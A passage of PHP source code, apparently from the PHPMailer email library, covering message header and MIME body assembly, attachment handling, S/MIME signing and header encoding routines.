            && count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        //mail() sets the subject itself
        if ('mail' !== $this->Mailer) {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        //Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        //https://www.rfc-editor.org/rfc/rfc5322#section-3.6.4
        if (
            '' !== $this->MessageID &&
            preg_match(
                '/^<((([a-z\d!#$%&\'*+\/=?^_`{|}~-]+(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)' .
                '|("(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]|[\x21\x23-\x5B\x5D-\x7E])' .
                '|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*"))@(([a-z\d!#$%&\'*+\/=?^_`{|}~-]+' .
                '(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)|(\[(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]' .
                '|[\x21-\x5A\x5E-\x7E])|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*\])))>$/Di',
                $this->MessageID
            )
        ) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (null !== $this->Priority) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ('' === $this->XMailer) {
            //Empty string for default X-Mailer header
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . self::VERSION . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } elseif (is_string($this->XMailer) && trim($this->XMailer) !== '') {
            //Some string
            $result .= $this->headerLine('X-Mailer', trim($this->XMailer));
        } //Other values result in no X-Mailer header

        if ('' !== $this->ConfirmReadingTo) {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        //Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     *
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_MIXED . ';');
                $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
                $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
                break;
            default:
                //Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        //RFC1341 part 5 says 7bit is assumed if not specified
        if (static::ENCODING_7BIT !== $this->Encoding) {
            //RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if (static::ENCODING_8BIT === $this->Encoding) {
                    $result .= $this->headerLine('Content-Transfer-Encoding', static::ENCODING_8BIT);
                }
                //The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     *
     * @see PHPMailer::preSend()
     *
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return static::stripTrailingWSP($this->MIMEHeader . $this->mailHeader) .
            static::$LE . static::$LE . $this->MIMEBody;
    }

    /**
     * Create a unique ID to use for boundaries.
     *
     * @return string
     */
    protected function generateId()
    {
        $len = 32; //32 bytes = 256 bits
        $bytes = '';
        if (function_exists('random_bytes')) {
            try {
                $bytes = random_bytes($len);
            } catch (\Exception $e) {
                //Do nothing
            }
        } elseif (function_exists('openssl_random_pseudo_bytes')) {
            /** @noinspection CryptographicallySecureRandomnessInspection */
            $bytes = openssl_random_pseudo_bytes($len);
        }
        if ($bytes === '') {
            //We failed to produce a proper random string, so make do.
            //Use a hash to force the length to the same as the other methods
            $bytes = hash('sha256', uniqid((string) mt_rand(), true), true);
        }

        //We don't care about messing up base64 format here, just want a random string
        return str_replace(['=', '+', '/'], '', base64_encode(hash('sha256', $bytes, true)));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     *
     * @throws Exception
     *
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->setBoundaries();

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . static::$LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if (static::ENCODING_8BIT === $bodyEncoding && !$this->has8bitChars($this->Body)) {
            $bodyEncoding = static::ENCODING_7BIT;
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = static::CHARSET_ASCII;
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if (static::ENCODING_BASE64 !== $this->Encoding && static::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = static::ENCODING_QUOTED_PRINTABLE;
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if (static::ENCODING_8BIT === $altBodyEncoding && !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = static::ENCODING_7BIT;
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = static::CHARSET_ASCII;
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if (static::ENCODING_BASE64 !== $altBodyEncoding && static::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE;
        }
        //Use this as a preamble in all multipart message types
        $mimepre = '';
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";');
                $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                if (!empty($this->Ical)) {
                    $method = static::ICAL_METHOD_REQUEST;
                    foreach (static::$IcalMethods as $imethod) {
                        if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) {
                            $method = $imethod;
                            break;
                        }
                    }
                    $body .= $this->getBoundary(
                        $this->boundary[1],
                        '',
                        static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method,
                        ''
                    );
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= static::$LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";');
                $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                if (!empty($this->Ical)) {
                    $method = static::ICAL_METHOD_REQUEST;
                    foreach (static::$IcalMethods as $imethod) {
                        if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) {
                            $method = $imethod;
                            break;
                        }
                    }
                    $body .= $this->getBoundary(
                        $this->boundary[2],
                        '',
                        static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method,
                        ''
                    );
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                }
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[3] . '";');
                $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[3],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= static::$LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                //Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
            if ($this->exceptions) {
                throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL);
            }
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new Exception($this->lang('extension_missing') . 'openssl');
                }

                $file = tempnam(sys_get_temp_dir(), 'srcsign');
                $signed = tempnam(sys_get_temp_dir(), 'mailsign');
                file_put_contents($file, $body);

                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        ['file://' . realpath($this->sign_key_file), $this->sign_key_pass],
                        []
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        ['file://' . realpath($this->sign_key_file), $this->sign_key_pass],
                        [],
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }

                @unlink($file);
                if ($sign) {
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE;
                    $body = $parts[1];
                } else {
                    @unlink($signed);
                    throw new Exception($this->lang('signing') . openssl_error_string());
                }
            } catch (Exception $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }

        return $body;
    }

    /**
     * Get the boundaries that this message will use
     * @return array
     */
    public function getBoundaries()
    {
        if (empty($this->boundary)) {
            $this->setBoundaries();
        }
        return $this->boundary;
    }

    /**
     * Return the start of a message boundary.
     *
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     *
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ('' === $charSet) {
            $charSet = $this->CharSet;
        }
        if ('' === $contentType) {
            $contentType = $this->ContentType;
        }
        if ('' === $encoding) {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= static::$LE;
        //RFC1341 part 5 says 7bit is assumed if not specified
        if (static::ENCODING_7BIT !== $encoding) {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= static::$LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     *
     * @param string $boundary
     *
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return static::$LE . '--' . $boundary . '--' . static::$LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     */
    protected function setMessageType()
    {
        $type = [];
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ('' === $this->message_type) {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     *
     * @param string     $name
     * @param string|int $value
     *
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . static::$LE;
    }

    /**
     * Return a formatted mail line.
     *
     * @param string $value
     *
     * @return string
     */
    public function textLine($value)
    {
        return $value . static::$LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     *
     * @param string $path        Path to the attachment
     * @param string $name        Overrides the attachment name
     * @param string $encoding    File encoding (see $Encoding)
     * @param string $type        MIME type, e.g. `image/jpeg`; determined automatically from $path if not specified
     * @param string $disposition Disposition to use
     *
     * @throws Exception
     *
     * @return bool
     */
    public function addAttachment(
        $path,
        $name = '',
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'attachment'
    ) {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            //If a MIME type is not specified, try to work it out from the file name
            if ('' === $type) {
                $type = static::filenameToType($path);
            }

            $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME);
            if ('' === $name) {
                $name = $filename;
            }
            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            $this->attachment[] = [
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, //isStringAttachment
                6 => $disposition,
                7 => $name,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Return the array of attachments.
     *
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     *
     * @param string $disposition_type
     * @param string $boundary
     *
     * @throws Exception
     *
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        //Return text of body
        $mime = [];
        $cidUniq = [];
        $incl = [];

        //Add all attachments
        foreach ($this->attachment as $attachment) {
            //Check if it is a valid disposition_filter
            if ($attachment[6] === $disposition_type) {
                //Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = hash('sha256', serialize($attachment));
                if (in_array($inclhash, $incl, true)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ('inline' === $disposition && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, static::$LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name=%s%s',
                        $type,
                        static::quotedString($this->encodeHeader($this->secureHeader($name))),
                        static::$LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        static::$LE
                    );
                }
                //RFC1341 part 5 says 7bit is assumed if not specified
                if (static::ENCODING_7BIT !== $encoding) {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, static::$LE);
                }

                //Only set Content-IDs on inline attachments
                if ((string) $cid !== '' && $disposition === 'inline') {
                    $mime[] = 'Content-ID: <' . $this->encodeHeader($this->secureHeader($cid)) . '>' . static::$LE;
                }

                //Allow for bypassing the Content-Disposition header
                if (!empty($disposition)) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (!empty($encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename=%s%s',
                            $disposition,
                            static::quotedString($encoded_name),
                            static::$LE . static::$LE
                        );
                    } else {
                        $mime[] = sprintf(
                            'Content-Disposition: %s%s',
                            $disposition,
                            static::$LE . static::$LE
                        );
                    }
                } else {
                    $mime[] = static::$LE;
                }

                //Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                }
                if ($this->isError()) {
                    return '';
                }
                $mime[] = static::$LE;
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, static::$LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     *
     * @param string $path     The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     *
     * @return string
     */
    protected function encodeFile($path, $encoding = self::ENCODING_BASE64)
    {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $file_buffer = file_get_contents($path);
            if (false === $file_buffer) {
                throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $file_buffer = $this->encodeString($file_buffer, $encoding);

            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     *
     * @param string $str      The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     *
     * @throws Exception
     *
     * @return string
     */
    public function encodeString($str, $encoding = self::ENCODING_BASE64)
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case static::ENCODING_BASE64:
                $encoded = chunk_split(
                    base64_encode($str),
                    static::STD_LINE_LENGTH,
                    static::$LE
                );
                break;
            case static::ENCODING_7BIT:
            case static::ENCODING_8BIT:
                $encoded = static::normalizeBreaks($str);
                //Make sure it ends with a line break
                if (substr($encoded, -(strlen(static::$LE))) !== static::$LE) {
                    $encoded .= static::$LE;
                }
                break;
            case static::ENCODING_BINARY:
                $encoded = $str;
                break;
            case static::ENCODING_QUOTED_PRINTABLE:
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                if ($this->exceptions) {
                    throw new Exception($this->lang('encoding') . $encoding);
                }
                break;
        }

        return $encoded;
    }

    /**
     * Encode a header value (not including its label) optimally.
     * Picks shortest of Q, B, or none. Result includes folding if needed.
     * See RFC822 definitions for phrase, comment and text positions.
     *
     * @param string $str      The header value to encode
     * @param string $position What context the string will be used in
     *
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    //Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str === $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return $encoded;
                    }

                    return "\"$encoded\"";
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /* @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
            //fallthrough
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        if ($this->has8bitChars($str)) {
            $charset = $this->CharSet;
        } else {
            $charset = static::CHARSET_ASCII;
        }

        //Q/B encoding adds 8 chars and the charset ("` =?<charset>?[QB]?<content>?=`").
        $overhead = 8 + strlen($charset);

        if ('mail' === $this->Mailer) {
            $maxlen = static::MAIL_MAX_LINE_LENGTH - $overhead;
        } else {
            $maxlen = static::MAX_LINE_LENGTH - $overhead;
        }

        //Select the encoding that produces the shortest output and/or prevents corruption.
        if ($matchcount > strlen($str) / 3) {
            //More than 1/3 of the content needs encoding, use B-encode.
            $encoding = 'B';
        } elseif ($matchcount > 0) {
            //Less than 1/3 of the content needs encoding, use Q-encode.
            $encoding = 'Q';
        } elseif (strlen($str) > $maxlen) {
            //No encoding needed, but value exceeds max line length, use Q-encode to prevent corruption.
            $encoding = 'Q';
        } else {
            //No reformatting needed
            $encoding = false;
        }

        switch ($encoding) {
            case 'B':
                if ($this->hasMultiBytes($str)) {
                    //Use a custom function which correctly encodes and wraps long
                    //multibyte strings without breaking lines within a character
                    $encoded = $this->base64EncodeWrapMB($str, "\n");
                } else {
                    $encoded = base64_encode($str);
                    $maxlen -= $maxlen % 4;
                    $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
                }
                $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded);
                break;
            case 'Q':
                $encoded = $this->encodeQ($str, $position);
                $encoded = $this->wrapText($encoded, $maxlen, true);
                $encoded = str_replace('=' . static::$LE, "\n", trim($encoded));
                $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded);
                break;
            default:
                return $str;
        }

        return trim(static::normalizeBreaks($encoded));
    }

    /**
     * Check if a string contains multi-byte characters.
     *
     * @param string $str multi-byte text to wrap encode
     *
     * @return bool
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return strlen($str) > mb_strlen($str, $this->CharSet);
        }

        //Assume no multibytes (we can't handle without mbstring functions anyway)
        return false;
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     *
     * @param string $text
     *
     * @return bool
     */
    public function has8bitChars($text)
    {
        return (bool) preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid.
     *
     * @see https://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     *
     * @param string $str       multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     *
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if (null === $linebreak) {
            $linebreak = static::$LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        //Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        //Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        //Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        $offset = 0;
        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                ++$lookBack;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        //Chomp the last linefeed
        return substr($encoded, 0, -strlen($linebreak));
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     *
     * @param string $string The text to encode
     *
     * @return string
     */
    public function encodeQP($string)
    {
        return static::normalizeBreaks(quoted_printable_encode($string));
    }

    /**
     * Encode a string using Q encoding.
     *
     * @see https://www.rfc-editor.org/rfc/rfc2047#section-4.2
     *
     * @param string $str      the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     *
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        //There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(["\r", "\n"], '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                //RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /*
             * RFC 2047 section 5.2.
             * Build $pattern without including delimiters and []
             */
            /* @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $pattern = '\(\)"';
            /* Intentional fall through */
            case 'text':
            default:
                //RFC 2047 section 5.1
                //Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = [];
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            //If the string contains an '=', make sure it's the first thing we replace
            //so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0], true);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        //Replace spaces with _ (more readable than =20)
        //RFC 2047 section 4.2(2)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     *
     * @param string $string      String attachment data
     * @param string $filename    Name of the attachment
     * @param string $encoding    File encoding (see $Encoding)
     * @param string $type        File extension (MIME) type
     * @param string $disposition Disposition to use
     *
     * @throws Exception
     *
     * @return bool True on successfully adding an attachment
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'attachment'
    ) {
        try {
            //If a MIME type is not specified, try to work it out from the file name
            if ('' === $type) {
                $type = static::filenameToType($filename);
            }

            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            //Append to $attachment array
            $this->attachment[] = [
                0 => $string,
                1 => $filename,
                2 => static::mb_pathinfo($filename, PATHINFO_BASENAME),
                3 => $encoding,
                4 => $type,
                5 => true, //isStringAttachment
                6 => $disposition,
                7 => 0,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the `$cid` value in `img` tags, for example `<img src="cid:mylogo">`.
     * Never use a user-supplied path to a file!
     *
     * @param string $path        Path to the attachment
     * @param string $cid         Content ID of the attachment; Use this to reference
